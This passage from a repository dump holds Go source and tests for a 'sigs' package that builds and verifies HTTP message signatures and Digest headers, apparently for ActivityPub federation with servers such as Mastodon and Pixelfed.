KEY-----\nMIIBCgKCAQEAy1xxGJw8d+FouEHikqkmNo/X8/tPAMtZtzXXj03Uzr3Pxfpy4a0M\nhZwd3duWqhINPKWbDFgn9W2z6I+nIziBLD+YxHWqvahpsRqGkmu86CoOLKommbUL\njAIzyAMtPqBpOQJ8xJtq6Evz09avUku08iPrjP64wKNESyu5mDFvfpW31F6B7C0y\n+QC6vbhDanOnvV9QIxMDEbU87iY3nyyt8ZkSj5I2bHb80LQ0BEWN4WkOZB+wc0+f\nhQ9+pJobSSsyGJ21graTbkEKcr1LGo+Xe+rqPYT1IcDwpMTD7es1AiqbZwlIxNoh\n9wvJygZsqB4Iok8iatc+I1fGl6XiJcnxAQIDAQAB\n-----END RSA PUBLIC KEY-----\n" 88 | key, err := DecodePublicPEM(pem) 89 | require.Nil(t, err) 90 | require.NotNil(t, key) 91 | } 92 | -------------------------------------------------------------------------------- /sigs/constants.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | const FieldRequestTarget = "(request-target)" 4 | 5 | // FieldCreated is not supported at this time, and will generate an error. 6 | // https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures#section-2.3 7 | const FieldCreated = "(created)" 8 | 9 | // FieldExpires is not supported at this time, and will generate an error. 10 | // https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures#section-2.3 11 | const FieldExpires = "(expires)" 12 | 13 | const FieldDate = "date" 14 | 15 | // FieldDigest represents the Digest header field that validates the request body. 16 | // https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Digest 17 | // https://datatracker.ietf.org/doc/draft-ietf-httpbis-digest-headers/ 18 | const FieldDigest = "digest" 19 | 20 | const FieldHost = "host" 21 | 22 | // The “hs2019” signature algorithm. This is the only non-deprecated algorithm. Unlike the other algorithms, the hash and digest functions are not implied by the choice of this signature algorithm. Instead, the hash and digest functions are chosen based on the key used. RSA, HMAC, and ECDSA keys are all supported. 23 | // TODO: How to implement hs2019? 24 | const Algorithm_HS2019 = "hs2019" 25 | 26 | // Deprecated. The “rsa-sha256” signature algorithm. Deprecated by the standard because it reveals which hash and digest algorithm is used. 27 | const Algorithm_RSA_SHA256 = "rsa-sha256" 28 | 29 | const Algorithm_RSA_SHA512 = "rsa-sha512" 30 | 31 | // Deprecated. The “hmac-sha256” signature algorithm. Deprecated by the standard because it reveals which hash and digest algorithm is used. 32 | const Algorithm_HMAC_SHA256 = "hmac-sha256" 33 | 34 | // Deprecated. The “ecdsa-sha256” signature algorithm. Deprecated by the standard because it reveals which hash and digest algorithm is used. 35 | const Algorithm_ECDSA_SHA256 = "ecdsa-sha256" 36 | 37 | // TODO: Are these supported by the actual specs? 38 | const Algorithm_HMAC_SHA512 = "hmac-sha512" 39 | const Algorithm_ECDSA_SHA512 = "ecdsa-sha512" 40 | -------------------------------------------------------------------------------- /sigs/digest.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "crypto" 5 | "net/http" 6 | "strings" 7 | 8 | "github.com/benpate/derp" 9 | "github.com/benpate/re" 10 | "github.com/benpate/rosetta/list" 11 | "github.com/benpate/rosetta/slice" 12 | "github.com/rs/zerolog/log" 13 | ) 14 | 15 | // ApplyDigest calculates the digest of the body from a given 16 | // http.Request, then adds the digest to the Request's header. 17 | func ApplyDigest(request *http.Request, digestName string, digestFunc DigestFunc) error { 18 | 19 | if request == nil { 20 | return derp.InternalError("sigs.ApplyDigest", "Request cannot be nil") 21 | } 22 | 23 | // Retrieve the request body (in a replayable manner) 24 | body, err := re.ReadRequestBody(request) 25 | 26 | if err != nil { 27 | return derp.Wrap(err, "sigs.ApplyDigest", "Error reading request body") 28 | } 29 | 30 | if len(body) == 0 { 31 | return nil 32 | } 33 | 34 | // Try to calculate the digest with the DigestFunc 35 | result := digestName + "=" + digestFunc(body) 36 | 37 | // Apply the digest to the Request 38 | request.Header.Set(FieldDigest, result) 39 | return nil 40 | } 41 | 42 | // VerifyDigest verifies that the digest in the http.Request header 43 | // matches the contents of the http.Request body. 44 | func VerifyDigest(request *http.Request, allowedHashes ...crypto.Hash) error { 45 | 46 | // Retrieve the request body (in a replayable manner) 47 | body, err := re.ReadRequestBody(request) 48 | 49 | if err != nil { 50 | return derp.Wrap(err, "sigs.VerifyDigest", "Error reading request body") 51 | } 52 | 53 | // Retrieve the digest(s) included in the HTTP Request 54 | digestHeader := request.Header.Get(FieldDigest) 55 | 56 | // If there is no digest header, then there is nothing to verify 57 | if digestHeader == "" { 58 | return nil 59 | } 60 | 61 | // Process the digest header into separate values 62 | headerValues := strings.Split(digestHeader, ",") 63 | atLeastOneAlgorithmMatches := false 64 | 65 | for _, headerValue := range headerValues { 66 | 67 | headerValue = strings.Trim(headerValue, " ") 68 | digestAlgorithm, digestValue := list.Split(headerValue, '=') 69 | 70 | // If we recognize the digest algorithm, then use it to verify the body/digest 71 | fn, err := getDigestFuncByName(digestAlgorithm) 72 | 73 | if err != nil { 74 | log.Trace().Msg("Hannibal sigs: VerifyDigest: Unknown digest algorithm: " + digestAlgorithm) 75 | continue 76 | } 77 | 78 | // Additional trace values that helped isolate a bug in the digest algorithm 79 | log.Trace().Msg("Validating Digest: " + digestAlgorithm + "=" + digestValue) 80 | log.Trace().Msg(headerValue) 81 | log.Trace().Msg(digestValue) 82 | log.Trace().Msg(fn(body)) 83 | 84 | // If the values match, then success! 85 | if digestValue == fn(body) { 86 | log.Trace().Msg("Hannibal sigs: VerifyDigest: Valid Digest Found. Algorithm: " + digestAlgorithm) 87 | 88 | // Verify that this algorithm is in the list of allowed hashes 89 | hash := getHashByName(digestAlgorithm) 90 | if slice.Contains(allowedHashes, hash) { 91 | atLeastOneAlgorithmMatches = true 92 | } 93 | continue 94 | } 95 | 96 | // If the values DON'T MATCH, then fail immediately. 97 | // We don't want bad actors "digest shopping" 98 | return derp.ForbiddenError("sigs.VerifyDigest", "Digest verification failed", digestValue) 99 | } 100 | 101 | // If we have found at least one digest that matches, then success! 102 | if atLeastOneAlgorithmMatches { 103 | log.Trace().Msg("Digest verified.") 104 | return nil 105 | } 106 | 107 | // Otherwise, the digest hash does not meet our minimum requirements. Fail. 108 | return derp.ForbiddenError("sigs.VerifyDigest", "No matching digest found") 109 | } 110 | -------------------------------------------------------------------------------- /sigs/digestFunc.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "crypto" 5 | "crypto/sha256" 6 | "crypto/sha512" 7 | "encoding/base64" 8 | "strings" 9 | 10 | "github.com/benpate/derp" 11 | "github.com/rs/zerolog/log" 12 | ) 13 | 14 | // DigestFunc defines a function that calculates the digest of a given byte array 15 | type DigestFunc func(body []byte) string 16 | 17 | /* 18 | // getDigestFuncs uses a list of algorithm names to generate a list of DigestFuncs 19 | // This is unused now, but may be useful in the future. 20 | func getDigestFuncs(algorithms ...crypto.Hash) ([]DigestFunc, error) { 21 | 22 | result := make([]DigestFunc, 0, len(algorithms)) 23 | 24 | for _, algorithm := range algorithms { 25 | 26 | fn, err := getDigestFunc(algorithm) 27 | 28 | if err != nil { 29 | return nil, derp.Wrap(err, "sigs.getDigestFunc", "Error parsing algorithm") 30 | } 31 | 32 | result = append(result, fn) 33 | } 34 | 35 | return result, nil 36 | } 37 | */ 38 | 39 | // getDigestFuncByName returns the DigestFunc for either `sha-256` or `sha-512` 40 | func getDigestFuncByName(name string) (DigestFunc, error) { 41 | return getDigestFunc(getHashByName(name)) 42 | } 43 | 44 | // getDigestFunc uses an algorithm name to generate a DigestFunc using 45 | // a case insensitive match. It currently supports `sha-256` and `sha-512`. 46 | // Unrecognized digest names will return an error. 47 | func getDigestFunc(algorithm crypto.Hash) (DigestFunc, error) { 48 | 49 | switch algorithm { 50 | 51 | case crypto.SHA256: 52 | return DigestSHA256, nil 53 | 54 | case crypto.SHA512: 55 | return DigestSHA512, nil 56 | } 57 | 58 | return nil, derp.BadRequestError("sigs.getDigestFunc", "Unknown algorithm", algorithm) 59 | } 60 | 61 | // getDigestName returns the name of a given crypto.Hash value 62 | func getDigestName(algorithm crypto.Hash) string { 63 | 64 | switch algorithm { 65 | 66 | case crypto.SHA256: 67 | return "SHA-256" 68 | 69 | case crypto.SHA512: 70 | return "SHA-512" 71 | } 72 | 73 | return "unknown" 74 | } 75 | 76 | // getHashByName converts common hash names into crypto.Hash values. It works 77 | // with these values: sha-256, sha256, sha-512, sha512 (case insensitive) 78 | func getHashByName(name string) crypto.Hash { 79 | 80 | switch strings.ToLower(name) { 81 | 82 | case "sha-256", "sha256": 83 | return crypto.SHA256 84 | 85 | case "sha-512", "sha512": 86 | return crypto.SHA512 87 | } 88 | 89 | log.Warn().Msg("sigs.getHashByName: Unknown hash name: " + name + ". Defaulting to SHA-256") 90 | 91 | return crypto.SHA256 92 | } 93 | 94 | // DigestSHA256 calculates the SHA-256 digest of a slice of bytes 95 | func DigestSHA256(body []byte) string { 96 | digest := sha256.Sum256(body) 97 | return base64.StdEncoding.EncodeToString(digest[:]) 98 | } 99 | 100 | // DigestSHA512 calculates the SHA-512 digest of a given slice of bytes 101 | func DigestSHA512(body []byte) string { 102 | digest := sha512.Sum512(body) 103 | return base64.StdEncoding.EncodeToString(digest[:]) 104 | } 105 | 106 | // TODO: Additional algorithms specified by https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Digest 107 | // unixsum, unixcksum, crc32c, sha-256 and sha-512, id-sha-256, id-sha-512 108 | -------------------------------------------------------------------------------- /sigs/digest_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "bytes" 5 | "crypto" 6 | "net/http" 7 | "testing" 8 | 9 | "github.com/stretchr/testify/require" 10 | ) 11 | 12 | func TestApplyDigest(t *testing.T) { 13 | 14 | var body bytes.Buffer 15 | body.WriteString("This is my body. There are many like it, but this one is mine.") 16 | 17 | request, err := http.NewRequest("GET", "http://example.com/foo", &body) 18 | require.Nil(t, err) 19 | 20 | err = ApplyDigest(request, "SHA-256", DigestSHA256) 21 | require.Nil(t, err) 22 | require.Equal(t, "SHA-256=2dZxOmbiuR4yypVcyCfajB3YMhmSg+QNUlnUIrfllPM=", request.Header.Get("Digest")) 23 | } 24 | 25 | func TestVerifyDigest(t *testing.T) { 26 | 27 | body := []byte("This is my body. There are many like it, but this one is mine.") 28 | 29 | request, err := http.NewRequest("GET", "http://example.com/foo", bytes.NewReader(body)) 30 | require.Nil(t, err) 31 | 32 | err = ApplyDigest(request, "SHA-256", DigestSHA256) 33 | require.Nil(t, err) 34 | 35 | err = VerifyDigest(request, crypto.SHA256) 36 | require.Nil(t, err) 37 | } 38 | 39 | func TestVerifyDigest_PixelFed(t *testing.T) { 40 | 41 | request := getTestPixelFedRequest() 42 | 43 | err := VerifyDigest(request, crypto.SHA256) 44 | require.Nil(t, err) 45 | } 46 | -------------------------------------------------------------------------------- /sigs/httpsig.go: -------------------------------------------------------------------------------- 1 | // Package sigs implements the IETF draft specification "Signing HTTP Messages" 2 | // https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures 3 | package sigs 4 | -------------------------------------------------------------------------------- /sigs/remoteMiddleware.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/benpate/remote" 8 | ) 9 | 10 | // WithSigner is a remote.Option that signs an outbound HTTP request 11 | func WithSigner(signer Signer) remote.Option { 12 | 13 | return remote.Option{ 14 | 15 | ModifyRequest: func(txn *remote.Transaction, request *http.Request) *http.Response { 16 | 17 | // Sign the outbound request 18 | if err := signer.Sign(request); err != nil { 19 | derp.Report(derp.Wrap(err, "hannibal.sigs.WithSigner", "Error signing request")) 20 | } 21 | 22 | // If exists, write the Digest back into the transaction (for serialization, et al) 23 | if digest := request.Header.Get("Digest"); digest != "" { 24 | txn.Header("Digest", digest) 25 | } 26 | 27 | // If exists, write the Signature back into the transaction (for serialization, et al) 28 | if signature := request.Header.Get("Signature"); signature != "" { 29 | txn.Header("Signature", signature) 30 | } 31 | 32 | // Nil response means that we are still sending the request to the remote server 33 | // instead of replacing it with a new request. 34 | return nil 35 | }, 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /sigs/request_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "bytes" 5 | "net/http" 6 | "strings" 7 | "testing" 8 | 9 | "github.com/stretchr/testify/require" 10 | ) 11 | 12 | func TestHTTPRequest(t *testing.T) { 13 | 14 | request, err := http.NewRequest("GET", "http://example.com/foo", nil) 15 | require.Nil(t, err) 16 | 17 | request.Header.Add("Cache-Control", "max-age=60") 18 | request.Header.Add("Cache-Control", "must-revalidate") 19 | 20 | var buffer bytes.Buffer 21 | if err := request.Header.Write(&buffer); err != nil { 22 | panic(err) 23 | } 24 | 25 | // Guarantee that Go is writing the header the way we'd expect 26 | require.Equal(t, removeTabs("Cache-Control: max-age=60\r\nCache-Control: must-revalidate\r\n"), buffer.String()) 27 | 28 | // Prove that we get the FIRST value when we call .Get() 29 | require.Equal(t, "max-age=60", request.Header.Get("Cache-Control")) 30 | require.Equal(t, "max-age=60", request.Header.Get("cAcHe-CoNtRoL")) 31 | 32 | // Prove that whe get ALL values when whe access via the map 33 | valueSlice := request.Header[http.CanonicalHeaderKey("CAcHe-CoNtroL")] 34 | result := strings.Join(valueSlice, ", ") 35 | 36 | require.Equal(t, "max-age=60, must-revalidate", result) 37 | } 38 | -------------------------------------------------------------------------------- /sigs/signature.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "encoding/base64" 5 | "net/http" 6 | "strconv" 7 | "strings" 8 | "time" 9 | 10 | "github.com/benpate/derp" 11 | "github.com/benpate/rosetta/list" 12 | ) 13 | 14 | // https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures#section-2.1 15 | type Signature struct { 16 | KeyID string // ID (URL) of the key used to create this signature 17 | Algorithm string // Algorithm used to create this signature (should be ignored per IEFT spec) 18 | Headers []string // List of headers that were signed 19 | Signature []byte // Base64 encoded signature 20 | Created int64 // Unix epoch (in seconds) when this signature was created 21 | Expires int64 // Unix epoch (in seconds) when this signature expires 22 | } 23 | 24 | // NewSignature returns a fully initialized Signature object 25 | func NewSignature() Signature { 26 | return Signature{ 27 | Headers: make([]string, 0), 28 | Signature: make([]byte, 0), 29 | } 30 | } 31 | 32 | // SignatureFinder is a function that can look up a public key. 33 | // This is injected into the Verify function by the inbox. 34 | type PublicKeyFinder func(keyID string) (string, error) 35 | 36 | // IsExpired returns TRUE if the current date is 37 | // less than its expiration date, OR if the 38 | // createDate + duration is less than the current date. 39 | // Calculations are skipped if the duration, created, 40 | // or expires values are zero. 41 | func (signature Signature) IsExpired(duration int) bool { 42 | 43 | // If there is no timeout set, then the signature has not expired. 44 | if duration == 0 { 45 | return false 46 | } 47 | 48 | now := time.Now().Unix() 49 | 50 | // If the "expires" value is valid and in the past, then the signature is expired 51 | if signature.Expires > 0 { 52 | if signature.Expires < now { 53 | return true 54 | } 55 | } 56 | 57 | // If the "created" and "duration" values are valid, 58 | // and their sum is in the past, then the signature is expired 59 | if (signature.Created > 0) && (duration > 0) { 60 | if (signature.Created + int64(duration)) < now { 61 | return true 62 | } 63 | } 64 | 65 | // Otherwise, the signature is not expired 66 | return false 67 | } 68 | 69 | // GetSignature returns the HTTP Signature from the request 70 | func GetSignature(request *http.Request) string { 71 | return request.Header.Get("Signature") 72 | } 73 | 74 | // HasSignature returns TRUE if the request has a Signature header 75 | func HasSignature(request *http.Request) bool { 76 | return GetSignature(request) != "" 77 | } 78 | 79 | // ParseSignature parses a string into an HTTP Signature 80 | func ParseSignature(value string) (Signature, error) { 81 | 82 | result := NewSignature() 83 | 84 | // Split the signature into a list of key=value pairs 85 | items := strings.Split(value, ",") 86 | 87 | for _, item := range items { 88 | item = strings.TrimSpace(item) // remove extra whitespace 89 | name, value := list.Split(item, '=') // split into key=value 90 | value = strings.Trim(value, `"`) // remove quotes from value 91 | 92 | // Assemble key/value pairs into the Signature structure 93 | switch name { 94 | 95 | case "keyId": 96 | result.KeyID = value 97 | 98 | case "algorithm": 99 | result.Algorithm = value 100 | 101 | case "headers": 102 | result.Headers = strings.Split(value, " ") 103 | 104 | case "signature": 105 | if value, err := base64.StdEncoding.DecodeString(value); err != nil { 106 | return Signature{}, derp.Wrap(err, "sigs.ParseSignature", "Error decoding signature", value) 107 | } else { 108 | result.Signature = value 109 | } 110 | 111 | case "created": 112 | result.Created, _ = strconv.ParseInt(value, 10, 64) 113 | 114 | case "expires": 115 | result.Expires, _ = strconv.ParseInt(value, 10, 64) 116 | } 117 | } 118 | 119 | // RULE: Required Fields 120 | if result.KeyID == "" { 121 | return Signature{}, derp.BadRequestError("sigs.ParseSignature", "Field 'keyId' is required.") 122 | } 123 | 124 | if len(result.Headers) == 0 { 125 | return Signature{}, derp.BadRequestError("sigs.ParseSignature", "Field 'headers' is required.") 126 | } 127 | 128 | if len(result.Signature) == 0 { 129 | return Signature{}, derp.BadRequestError("sigs.ParseSignature", "Field 'signature' is required.") 130 | } 131 | 132 | return result, nil 133 | } 134 | 135 | // String returns the Signature as a string 136 | func (signature Signature) String() string { 137 | 138 | var buffer strings.Builder 139 | 140 | buffer.WriteString(`keyId="`) 141 | buffer.WriteString(signature.KeyID) 142 | buffer.WriteString(`"`) 143 | 144 | buffer.WriteString(`,algorithm="`) 145 | buffer.WriteString(signature.Algorithm) 146 | buffer.WriteString(`"`) 147 | 148 | if signature.Created > 0 { 149 | buffer.WriteString(`,created=`) 150 | buffer.WriteString(strconv.FormatInt(signature.Created, 10)) 151 | } 152 | 153 | if signature.Expires > 0 { 154 | buffer.WriteString(`,expires=`) 155 | buffer.WriteString(strconv.FormatInt(signature.Expires, 10)) 156 | } 157 | 158 | buffer.WriteString(`,headers="`) 159 | buffer.WriteString(strings.Join(signature.Headers, " ")) 160 | buffer.WriteString(`"`) 161 | 162 | buffer.WriteString(`,signature="`) 163 | buffer.WriteString(signature.Base64()) 164 | buffer.WriteString(`"`) 165 | 166 | return buffer.String() 167 | } 168 | 169 | // Bytes returns the Signature as a slice of bytes 170 | func (signature Signature) Bytes() []byte { 171 | return []byte(signature.String()) 172 | } 173 | 174 | // AlgorithmPrefix returns the first part of the algorithm name, such as "rsa", "hmac", or "ecdsa" 175 | func (signature Signature) AlgorithmPrefix() string { 176 | return list.Head(signature.Algorithm, '-') 177 | } 178 | 179 | // SignatureBytes returns the signature as a slice of bytes 180 | func (signature Signature) Base64() string { 181 | return base64.StdEncoding.EncodeToString(signature.Signature) 182 | } 183 | 184 | func (signature Signature) CreatedString() string { 185 | if signature.Created == 0 { 186 | return "" 187 | } 188 | 189 | return strconv.FormatInt(signature.Created, 10) 190 | } 191 | 192 | func (signature Signature) ExpiresString() string { 193 | if signature.Expires == 0 { 194 | return "" 195 | } 196 | 197 | return strconv.FormatInt(signature.Expires, 10) 198 | } 199 | -------------------------------------------------------------------------------- /sigs/signature_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "encoding/base64" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/require" 8 | ) 9 | 10 | var testString string 11 | var testBytes []byte 12 | 13 | func init() { 14 | testString = "Y2FiYWIxNGRiZDk4ZA==" 15 | testBytes, _ = base64.StdEncoding.DecodeString(testString) 16 | } 17 | 18 | func TestParseSignature_IETF(t *testing.T) { 19 | 20 | // From: https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures-05#section-4.1.1 21 | headerValue := `keyId="rsa-key-1",algorithm="hs2019", 22 | headers="(request-target) (created) host digest content-length", 23 | signature="` + testString + `"` 24 | 25 | signature, err := ParseSignature(headerValue) 26 | 27 | require.Nil(t, err) 28 | require.Equal(t, "rsa-key-1", signature.KeyID) 29 | require.Equal(t, "hs2019", signature.Algorithm) 30 | require.Equal(t, []string{"(request-target)", "(created)", "host", "digest", "content-length"}, signature.Headers) 31 | require.Equal(t, testBytes, signature.Signature) 32 | } 33 | 34 | func TestParseSignature_Mastodon(t *testing.T) { 35 | 36 | // From: https://docs.joinmastodon.org/spec/security/ 37 | headerValue := `keyId="https://my-example.com/actor#main-key",headers="(request-target) host date digest",signature="` + testString + `"` 38 | 39 | signature, err := ParseSignature(headerValue) 40 | 41 | require.Nil(t, err) 42 | require.Equal(t, "https://my-example.com/actor#main-key", signature.KeyID) 43 | require.Equal(t, "", signature.Algorithm) 44 | require.Equal(t, []string{"(request-target)", "host", "date", "digest"}, signature.Headers) 45 | require.Equal(t, testBytes, signature.Signature) 46 | } 47 | 48 | func TestParseSignature_MastodonWithWhitespace(t *testing.T) { 49 | 50 | // From: https://docs.joinmastodon.org/spec/security/ 51 | // Adding spaces to the signature just in case others do this too. 52 | headerValue := `keyId="https://my-example.com/actor#main-key", headers="(request-target) host date digest", signature="` + testString + `"` 53 | 54 | signature, err := ParseSignature(headerValue) 55 | 56 | require.Nil(t, err) 57 | require.Equal(t, "https://my-example.com/actor#main-key", signature.KeyID) 58 | require.Equal(t, "", signature.Algorithm) 59 | require.Equal(t, []string{"(request-target)", "host", "date", "digest"}, signature.Headers) 60 | require.Equal(t, testBytes, signature.Signature) 61 | } 62 | -------------------------------------------------------------------------------- /sigs/signerOption.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import "crypto" 4 | 5 | // SignerOption is a function that modifies a Signer 6 | type SignerOption func(*Signer) 7 | 8 | // SignerFields sets the http.Request fields to be signed 9 | func SignerFields(fields ...string) SignerOption { 10 | return func(signer *Signer) { 11 | signer.Fields = fields 12 | } 13 | } 14 | 15 | // SignerSignatureDigest sets the hashing algorithm to be used 16 | // when we sign a request. 17 | func SignerSignatureHash(hash crypto.Hash) SignerOption { 18 | return func(signer *Signer) { 19 | signer.SignatureHash = hash 20 | } 21 | } 22 | 23 | // SignerBodyDigests sets the digest algorithm to be used 24 | // when creating the "Digest" header. 25 | func SignerBodyDigest(digest crypto.Hash) SignerOption { 26 | return func(signer *Signer) { 27 | signer.BodyDigest = digest 28 | } 29 | } 30 | 31 | func SignerCreated(created int64) SignerOption { 32 | return func(signer *Signer) { 33 | signer.Created = created 34 | } 35 | } 36 | 37 | func SignerExpires(expires int64) SignerOption { 38 | return func(signer *Signer) { 39 | signer.Expires = expires 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /sigs/signer_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "bytes" 5 | "crypto" 6 | "crypto/rand" 7 | "crypto/rsa" 8 | "encoding/base64" 9 | "net/http" 10 | "net/url" 11 | "strings" 12 | "testing" 13 | 14 | "github.com/stretchr/testify/require" 15 | ) 16 | 17 | func TestSignRequest(t *testing.T) { 18 | 19 | body := []byte("This is the body of the request") 20 | 21 | request, err := http.NewRequest("GET", "http://example.com/something?test=true", bytes.NewReader(body)) 22 | require.Nil(t, err) 23 | request.Header.Set("Content-Type", "text/plain") 24 | 25 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048) 26 | require.Nil(t, err) 27 | 28 | err = Sign(request, "test-key", privateKey) 29 | require.Nil(t, err) 30 | 31 | require.Equal(t, "SHA-256=65F8+S1Bg7oPQS/fIxVg4x7PoLWnOxWlGMFB/hafojg=", request.Header.Get("Digest")) 32 | require.NotEmpty(t, request.Header.Get("Signature")) 33 | } 34 | 35 | func TestMakePlaintext(t *testing.T) { 36 | 37 | body := []byte("This is the body of the request") 38 | 39 | request, err := http.NewRequest("GET", "http://example.com/something?test=true", bytes.NewReader(body)) 40 | require.Nil(t, err) 41 | request.Header.Set("Content-Type", "text/plain") 42 | 43 | signature := NewSignature() 44 | result := makePlaintext(request, signature, FieldRequestTarget, FieldHost, FieldDate, FieldDigest) 45 | expected := removeTabs( 46 | `(request-target): get /something?test=true 47 | host: example.com 48 | date: 49 | digest: `) 50 | require.Equal(t, expected, result) 51 | } 52 | 53 | func TestMakePlaintext_Alternate(t *testing.T) { 54 | 55 | bodyReader := strings.NewReader("This is the body of the request") 56 | 57 | request, err := http.NewRequest("GET", "http://example.com/something?test=true", bodyReader) 58 | require.Nil(t, err) 59 | request.Header.Set("Content-Type", "text/plain") 60 | 61 | signature := NewSignature() 62 | result := makePlaintext(request, signature, FieldRequestTarget, FieldHost, "Content-Type") 63 | expected := removeTabs( 64 | `(request-target): get /something?test=true 65 | host: example.com 66 | content-type: text/plain`) 67 | 68 | require.Equal(t, expected, result) 69 | } 70 | 71 | func TestMakeSignatureHash_SHA256(t *testing.T) { 72 | result, err := makeSignatureHash("This is digest-able", crypto.SHA256) 73 | require.Nil(t, err) 74 | 75 | actual := base64.StdEncoding.EncodeToString(result) 76 | require.Equal(t, "jlBmJDmZdMjhLZga/ZjDrlloKd5lukG9S0lu/f7Xc64=", actual) 77 | } 78 | 79 | func TestMakeSignatureHash_SHA512(t *testing.T) { 80 | result, err := makeSignatureHash("This is digest-able", crypto.SHA512) 81 | require.Nil(t, err) 82 | 83 | actual := base64.StdEncoding.EncodeToString(result) 84 | require.Equal(t, "s2JJ/rYbVQTrkNR440jq+wuNk9ktJgvmVSDq805iC0EP4ONQPwfvuQK0yR/YuX7riJtNRwxMq6R1GL8W7A5vzg==", actual) 85 | } 86 | 87 | func TestMakeSignatureHash_Unsupported(t *testing.T) { 88 | result, err := makeSignatureHash("This is digest-able", crypto.BLAKE2b_256) 89 | require.NotNil(t, err) 90 | require.Nil(t, result) 91 | } 92 | 93 | func TestGetPathAndQuery(t *testing.T) { 94 | url, _ := url.Parse("http://example.com") 95 | require.Equal(t, "/", getPathAndQuery(url)) 96 | 97 | url, _ = url.Parse("http://example.com/") 98 | require.Equal(t, "/", getPathAndQuery(url)) 99 | 100 | url, _ = url.Parse("http://example.com/something") 101 | require.Equal(t, "/something", getPathAndQuery(url)) 102 | 103 | url, _ = url.Parse("http://example.com/something?test=true") 104 | require.Equal(t, "/something?test=true", getPathAndQuery(url)) 105 | } 106 | 107 | func removeTabs(s string) string { 108 | return strings.ReplaceAll(s, "\t", "") 109 | } 110 | -------------------------------------------------------------------------------- /sigs/test_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "bytes" 5 | "net/http" 6 | 7 | "github.com/rs/zerolog" 8 | ) 9 | 10 | func init() { 11 | // Configure logging 12 | zerolog.TimeFieldFormat = zerolog.TimeFormatUnix 13 | zerolog.SetGlobalLevel(zerolog.WarnLevel) 14 | } 15 | 16 | func must[T any](value T, err error) T { 17 | if err != nil { 18 | panic(err) 19 | } 20 | return value 21 | } 22 | 23 | func getTestPixelFedRequest() *http.Request { 24 | var body bytes.Buffer 25 | body.WriteString(`{"@context":"https:\/\/www.w3.org\/ns\/activitystreams","id":"https:\/\/pixelfed.social\/users\/benpate#follow\/595731146082391369","type":"Follow","actor":"https:\/\/pixelfed.social\/users\/benpate","object":"https:\/\/emdev.ddns.net\/@64d68054a4bf39a519f27c67"}`) 26 | 27 | request, _ := http.NewRequest("GET", "https://emdev.ddns.net/@64d68054a4bf39a519f27c67/pub/inbox", &body) 28 | request.Header.Set("User-Agent", "(Pixelfed/0.11.9; +https://pixelfed.social)") 29 | request.Header.Set("Content-Type", `application/ld+json; profile="https://www.w3.org/ns/activitystreams"`) 30 | request.Header.Set("Date", "Mon, 04 Sep 2023 21:17:36 GMT") 31 | request.Header.Set("Digest", "SHA-256=TwwjRc4l0VffR6UXoebZctDg2CY/sxUciFKxzVC3kPo=") 32 | request.Header.Set("Signature", `keyId="https://pixelfed.social/users/benpate#main-key",headers="(request-target) host date digest content-type user-agent",algorithm="rsa-sha256",signature="ZYIfR4fUvNt7K/2iWxke83wOJCPqnRNhJqPV3Z8NisTeaEXc1ujYAGahTyAUYYY1hKPDJL6HcbPszG5R/7yXUfQVoABDBeWN6k8pVm43FpfCic156qCczvGM6KqzhQtWrw4nYuILzdL+QCJo7O9H6TEsLAuVcJ7ycb5BpiNvOMy9pMnLAyvf8A3qxhh9NYm+PtzFczQ83HBCDtpr7N+wMvP1xhIByouaB0VLntsyjpjJZdQSmZteSiZixN3h27lkBI/++xLdTKbff81dwdMEVROf4HUp/TR5kmh6NotoV7bTGxn/0c05Bv4bpNaMQc8f5myn/r4MuTHwS4pTSlhe/w=="`) 33 | 34 | return request 35 | } 36 | -------------------------------------------------------------------------------- /sigs/utils.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import "github.com/rs/zerolog" 4 | 5 | // canInfo returns TRUE if zerolog is configured to allow Info logs 6 | // nolint:unused 7 | func canInfo() bool { 8 | return canLog(zerolog.InfoLevel) 9 | } 10 | 11 | // canDebug returns TRUE if zerolog is configured to allow Debug logs 12 | // nolint:unused 13 | func canDebug() bool { 14 | return canLog(zerolog.DebugLevel) 15 | } 16 | 17 | // canTrace returns TRUE if zerolog is configured to allow Trace logs 18 | // nolint:unused 19 | func canTrace() bool { 20 | return canLog(zerolog.TraceLevel) 21 | } 22 | 23 | // canLog is a silly zerolog helper that returns TRUE 24 | // if the provided log level would be allowed 25 | // (based on the global log level). 26 | // This makes it easier to execute expensive code conditionally, 27 | // for instance: marshalling a JSON object for logging. 28 | func canLog(level zerolog.Level) bool { 29 | return zerolog.GlobalLevel() <= level 30 | } 31 | -------------------------------------------------------------------------------- /sigs/utils_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/rs/zerolog" 7 | "github.com/stretchr/testify/require" 8 | ) 9 | 10 | func TestCanTrace(t *testing.T) { 11 | zerolog.SetGlobalLevel(zerolog.TraceLevel) 12 | require.True(t, canTrace()) 13 | zerolog.SetGlobalLevel(zerolog.DebugLevel) 14 | require.False(t, canTrace()) 15 | } 16 | 17 | func TestCanDebug(t *testing.T) { 18 | zerolog.SetGlobalLevel(zerolog.TraceLevel) 19 